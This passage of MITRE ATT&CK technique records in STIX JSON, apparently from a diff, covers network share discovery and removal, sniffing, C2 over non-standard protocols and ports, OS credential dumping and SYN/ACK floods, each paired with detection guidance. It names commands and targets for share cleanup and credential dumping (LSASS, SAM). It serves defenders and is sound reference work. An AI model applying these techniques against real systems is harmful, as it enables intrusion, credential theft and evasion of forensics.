"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Share Connection Removal", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/005", + "external_id": "T1070.005", + "source_name": "mitre-attack" + }, + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T13:31:01.970Z", + "x_mitre_system_requirements": [ + "Established network share connection to a remote system. Level of access depends on permissions of the account used." + ], + "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", + "created": "2020-01-31T12:39:18.816Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Share Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "3.1", + "modified": "2021-10-13T18:10:57.185Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1135", + "external_id": "T1135", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/643.html", + "external_id": "CAPEC-643", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Shared Resource", + "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", + "url": "https://en.wikipedia.org/wiki/Shared_resource" + }, + { + "source_name": "TechNet Shared Folder", + "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", + "url": "https://technet.microsoft.com/library/cc770880.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Sniffing", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1040", + "external_id": "T1040", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/158.html", + "external_id": "CAPEC-158", + "source_name": "capec" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-02T17:51:59.236Z", + "x_mitre_system_requirements": [ + "Network interface access and packet capture driver" + ], + "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", + "created": "2017-05-31T21:30:41.399Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Topology", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:33:02.476Z", + "created": "2020-10-02T15:49:03.815Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5", + "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/004", + "external_id": "T1590.004", + "source_name": "mitre-attack" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Trust Dependencies", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:34:22.917Z", + "created": "2020-10-02T15:47:59.457Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", + "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/003", + "external_id": "T1590.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019", + "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.", + "source_name": "Pentesting AD Forests" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-17T16:21:36.413Z", + "name": "New Service", + "created": "2017-05-31T21:30:45.613Z", + "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1050", + "external_id": "T1050", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/550.html", + "external_id": "CAPEC-550", + "source_name": "capec" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "Microsoft 4697 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697" + }, + { + "source_name": "Microsoft Windows Event Forwarding FEB 2018", + "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T19:41:49.412Z", + "name": "Non-Application Layer Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1095", + "external_id": "T1095", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia OSI", + "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "source_name": "Microsoft ICMP", + "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.", + "url": "http://support.microsoft.com/KB/170292" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.1", + "created": "2017-05-31T21:31:10.728Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)\n Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-14T23:39:50.117Z", + "name": "Non-Standard Encoding", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T23:39:50.117Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", + "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1132/002", + "external_id": "T1132.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T22:02:25.221Z", + "name": "Non-Standard Port", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T18:18:32.443Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1571", + "external_id": "T1571", + "source_name": "mitre-attack" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "source_name": "Symantec Elfin Mar 2019" + }, + { + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "OS Credential Dumping", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Access", + "Command: Command Execution", + "File: File Access", + "Windows Registry: Windows Registry Key Access", + "Active Directory: Active Directory Object Access", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Process: OS API Execution" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-15T19:55:01.922Z", + "created": "2017-05-31T21:30:19.735Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003", + "external_id": "T1003", + "source_name": "mitre-attack" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "OS Exhaustion Flood", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-16T15:54:35.429Z", + "created": "2020-02-20T15:27:18.581Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7", + "description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1499/001", + "external_id": "T1499.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/469.html", + "external_id": "CAPEC-469", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/482.html", + "external_id": "CAPEC-482", + "source_name": "capec" + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018" + }, + { + "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/", + "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.", + "source_name": "Cloudflare SynFlood" + }, + { + "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html", + "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.", + "source_name": "Corero SYN-ACKflood" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Obfuscated Files or Information", + "x_mitre_data_sources": 